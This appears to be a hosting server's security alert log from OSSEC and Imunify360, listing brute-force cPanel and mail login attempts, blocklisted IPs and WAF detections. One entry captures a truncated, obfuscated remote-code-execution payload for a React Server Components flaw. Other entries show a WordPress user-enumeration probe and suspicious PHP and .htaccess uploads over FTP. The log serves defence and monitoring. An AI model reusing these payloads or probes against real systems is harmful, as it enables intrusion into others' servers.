[2026-06-13 05:50:06 +0000] info [cpaneld] 197.133.113.84 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.8
country_id: 3469034
description:
Jun 13 05:49:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 13 05:49:52 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-13 05:49:54 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:61284: 535 Incorrect authentication data (set_id=abcde12345)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.171.8.135
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/conseil-des-ministres-environnement-nucleaire-et-gouvernance-au-coeur-des-decisions-du-6-mai-2026/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.171.8.135
country_id: 2363686
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/conseil-des-ministres-environnement-nucleaire-et-gouvernance-au-coeur-des-decisions-du-6-mai-2026/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.120.169
country_id: 99237
description:
[2026-06-13 05:51:52 +0000] info [cpaneld] 212.237.120.169 - kpmg "GET /login/?login_only=1&user=kpmg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 05:51:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.115.223.175
country_id: 2542007
description:
[2026-06-13 05:52:00 +0000] info [cpaneld] 196.115.223.175 - kpm "GET /login/?login_only=1&user=kpm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kpm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.165.207.53
country_id: 3469034
description:
[2026-06-13 05:51:49 +0000] info [cpaneld] 45.165.207.53 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.10.141.230
country_id: 3895114
description:
[2026-06-13 05:52:03 +0000] info [cpaneld] 186.10.141.230 - kp "GET /login/?login_only=1&user=kp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kp (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.7.47.76
country_id: 3865483
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/albums/page/5 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 06:00:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:06:04:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908782&pdata=http%253A%252F%252F1l7yem.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781330658 HTTP/1.1" 302 0 1l7yem.mediatopnews.tg "http://1l7yem.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 06:05:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.128.39.206
country_id: 3686110
description:
[2026-06-13 06:07:45 +0000] info [cpaneld] 181.128.39.206 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.0.99.117
country_id: 3469034
description:
[2026-06-13 06:07:59 +0000] info [cpaneld] 138.0.99.117 - maci "GET /login/?login_only=1&user=maci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.115.136.69
country_id: 798549
description:
[2026-06-13 06:08:01 +0000] info [cpaneld] 79.115.136.69 - mac "GET /login/?login_only=1&user=mac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.85.3.215
country_id: 3865483
description:
[2026-06-13 06:08:04 +0000] info [cpaneld] 191.85.3.215 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-06-13 06:09:07 dovecot_login authenticator failed for H=(bl23-64-8.dsl.telepac.pt) [203.252.10.3]:58717: 535 Incorrect authentication data (set_id=dev@soena.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.162.11
country_id: 1880251
description:
104.28.162.11 - - [13/Jun/2026:06:08:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9936330&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fadministration%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781330917 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/administration/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.162.11


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.252.10.3
country_id: 1835841
description:
Jun 13 06:09:05 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.252.10.3 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.20
country_id: 6252001
description:
205.169.39.20 - - [13/Jun/2026:06:12:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999007&pdata=http%253A%252F%252Fwww.snb-togotg.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781331154 HTTP/1.1" 302 0 www.snb-togotg.snb.tg "http://www.snb-togotg.snb.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 06:13:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.163.4.16
country_id: 1880251
description:
43.163.4.16 - - [13/Jun/2026:06:15:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12742859&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftelecoms-yas-togo-decroche-deux-trophees-internationaux-pour-ses-performances%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781331355 HTTP/1.1" 302 0 togodailynews.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.163.4.16


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 06:19:11 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-13 06:24:48 +0000] info [cpaneld] 36.70.11.90 - 2002281 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.55.78
country_id: 2542007
description:
[2026-06-13 06:27:04 +0000] info [cpaneld] 105.155.55.78 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 145.239.138.189
country_id: 3017382
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/wp-json/wp/v2/posts HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.17
country_id: 798544
description:
Jun 13 06:32:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 06:32:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.124.167.127
country_id: 3469034
description:
[2026-06-13 06:34:49 +0000] info [cpaneld] 200.124.167.127 - la "GET /login/?login_only=1&user=la&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user la (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.78.67.170
country_id: 3686110
description:
181.78.67.170 - - [13/Jun/2026:06:34:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804957&pdata=https%253A%252F%252Ftogodailynews.tg%252Felectricite-des-coupures-annoncees-du-26-au-30-mars-a-lome-les-efforts-pour-un-retour-a-la-normale-sintensifient%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781332463 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/electricite-des-coupures-annoncees-du-26-au-30-mars-a-lome-les-efforts-pour-un-retour-a-la-normale-sintensifient/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2577.1891 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.78.67.170


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.24.16.191
country_id: 1210997
description:
[2026-06-13 06:34:27 +0000] info [cpaneld] 103.24.16.191 - launetogotg "GET /login/?login_only=1&user=launetogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user launetogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.232.245.26
country_id: 3469034
description:
[2026-06-13 06:34:42 +0000] info [cpaneld] 45.232.245.26 - laun "GET /login/?login_only=1&user=laun&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user laun (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 132.255.113.33
country_id: 3865483
description:
[2026-06-13 06:34:21 +0000] info [cpaneld] 132.255.113.33 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.165.224.73
country_id: 2017370
description:
[2026-06-13 06:34:23 +0000] info [cpaneld] 5.165.224.73 - launetogo "GET /login/?login_only=1&user=launetogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user launetogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.203.132.241
country_id: 3996063
description:
[2026-06-13 06:34:35 +0000] info [cpaneld] 189.203.132.241 - launet "GET /login/?login_only=1&user=launet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user launet (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 13 06:36:11 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-13 06:36:13 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:65137: 535 Incorrect authentication data (set_id=abcde12345)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.234.202.15
country_id: 1210997
description:
103.234.202.15 - - [13/Jun/2026:06:36:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170964&pdata=https%253A%252F%252Ftogodailynews.tg%252Felectricite-des-coupures-annoncees-du-26-au-30-mars-a-lome-les-efforts-pour-un-retour-a-la-normale-sintensifient%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781332600 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/electricite-des-coupures-annoncees-du-26-au-30-mars-a-lome-les-efforts-pour-un-retour-a-la-normale-sintensifient/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.7984.1544 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.234.202.15


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.174.145.35
country_id: 1269750
description:
Jun 13 06:38:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.174.145.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.145.35
country_id: 1269750
description:
2026-06-13 06:38:06 dovecot_login authenticator failed for H=([49.124.152.158]) [103.174.145.35]:38509: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 114.130.98.27
country_id: 1210997
description:
114.130.98.27 - - [13/Jun/2026:06:40:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923945&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdysfonctionnement-de-la-plateforme-de-gestion-de-voyage-le-gouvernement-donne-des-raisons-et-rassure-les-voyageurs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781332815 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/dysfonctionnement-de-la-plateforme-de-gestion-de-voyage-le-gouvernement-donne-des-raisons-et-rassure-les-voyageurs/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.7923.1861 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:114.130.98.27


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 06:40:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.32
country_id: 3175395
description:
Jun 13 06:43:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.32 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.134.65.138
country_id: 1880251
description:
43.134.65.138 - - [13/Jun/2026:06:43:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591900&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftogo-3-nouveaux-cas-confirmes-portant-a-76-le-nombre-total-de-cas-confirmes-a-ce-jour%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781333010 HTTP/1.1" 302 0 togodailynews.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.134.65.138


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.186.54.65
country_id: 298795
description:
Jun 13 06:43:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.186.54.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.186.54.65
country_id: 298795
description:
2026-06-13 06:43:59 dovecot_login authenticator failed for H=(ipmapt-72-195-114-165.oc.oc.cox.net) [78.186.54.65]:55824: 535 Incorrect authentication data (set_id=dev@dany2.mairie.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 62.60.131.165
country_id: 130758
domain: c2ie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&_fields=slug,locale||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.80.153.246
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:06-46.23.80.153.246||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 06:46:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:49:59 ns5 pure-ftpd[2227251]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/tg.php uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.107.168.255
country_id: 2921044
description:
2026-06-13 06:49:27 dovecot_login authenticator failed for H=static.255.168.107.91.clients.your-server.de (91.107.168.255) [91.107.168.255]:43542: 535 Incorrect authentication data


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
description:
Jun 13 06:53:02 ns5 pure-ftpd[2228895]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [INFO] Can't change directory to /home/zmmjcejv/public_html/index.php: Not a directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:52:20 ns5 pure-ftpd[2228540]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/tg.php uploaded  (511827 bytes, 757.18KB/sec)


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: recorvery.lacs1.mairie.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"data_712ffa2c\":0,\"_response\":{\"_prefix\":\"var iy=arguments['\\\\x31'];var xlqt=iy;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ffe\\\",\\\"r\\\


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:53:45 ns5 pure-ftpd[2229226]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/index.php uploaded  (767 bytes, 6.78KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:54:56 ns5 pure-ftpd[2229863]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/index.php uploaded  (767 bytes, 6.79KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 06:54:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 11314
name: FTP file deleted from server
description:
Jun 13 06:55:25 ns5 pure-ftpd[2230162]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] Deleted //home/zmmjcejv/public_html/index.php


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
description:
Jun 13 06:55:37 ns5 pure-ftpd[2230231]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [INFO] Can't change directory to /home/zmmjcejv/public_html/launetogo.php: Not a directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:56:34 ns5 pure-ftpd[2230632]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/wp-admin/network/launetogo.php uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:59:13 ns5 pure-ftpd[2231733]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/.htaccess uploaded  (2254 bytes, 19.93KB/sec)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.46.164.236
country_id: 3865483
description:
[2026-06-13 07:00:54 +0000] info [cpaneld] 181.46.164.236 - ciieeinternat "GET /login/?login_only=1&user=ciieeinternat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.121.124.98
country_id: 1522867
description:
[2026-06-13 07:01:06 +0000] info [cpaneld] 87.121.124.98 - ciieeinter "GET /login/?login_only=1&user=ciieeinter&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinter (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 223.24.93.157
country_id: 1605651
description:
[2026-06-13 07:00:25 +0000] info [cpaneld] 223.24.93.157 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.80.108
country_id: 1512440
description:
[2026-06-13 07:00:30 +0000] info [cpaneld] 213.230.80.108 - ciieeinternational "GET /login/?login_only=1&user=ciieeinternational&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternational (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.24.119.253
country_id: 2017370
description:
[2026-06-13 07:00:37 +0000] info [cpaneld] 95.24.119.253 - ciieeinternationa "GET /login/?login_only=1&user=ciieeinternationa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternationa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.246.170
country_id: 1733045
description:
[2026-06-13 07:00:50 +0000] info [cpaneld] 180.75.246.170 - ciieeinternati "GET /login/?login_only=1&user=ciieeinternati&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternati (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.179.72.76
country_id: 2542007
description:
[2026-06-13 07:01:08 +0000] info [cpaneld] 160.179.72.76 - ciieeinte "GET /login/?login_only=1&user=ciieeinte&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.6.124.159
country_id: 2017370
description:
[2026-06-13 07:00:40 +0000] info [cpaneld] 185.6.124.159 - ciieeinternation "GET /login/?login_only=1&user=ciieeinternation&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternation (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.181.121.62
country_id: 3895114
description:
[2026-06-13 07:00:58 +0000] info [cpaneld] 45.181.121.62 - ciieeinterna "GET /login/?login_only=1&user=ciieeinterna&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinterna (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.136.148.214
country_id: 99237
description:
[2026-06-13 07:00:34 +0000] info [cpaneld] 185.136.148.214 - ciieeinternationalorg "GET /login/?login_only=1&user=ciieeinternationalorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternationalorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.243.197
country_id: 1733045
description:
[2026-06-13 07:01:14 +0000] info [cpaneld] 180.75.243.197 - ciieein "GET /login/?login_only=1&user=ciieein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieein (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.88.123
country_id: 1512440
description:
[2026-06-13 07:01:22 +0000] info [cpaneld] 213.230.88.123 - ciiee "GET /login/?login_only=1&user=ciiee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciiee (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:05:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:23560: 535 Incorrect authentication data (set_id=banned@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:05:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39520: 535 Incorrect authentication data (set_id=web15@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:05:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:05:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:05:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:50336: 535 Incorrect authentication data (set_id=itest@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
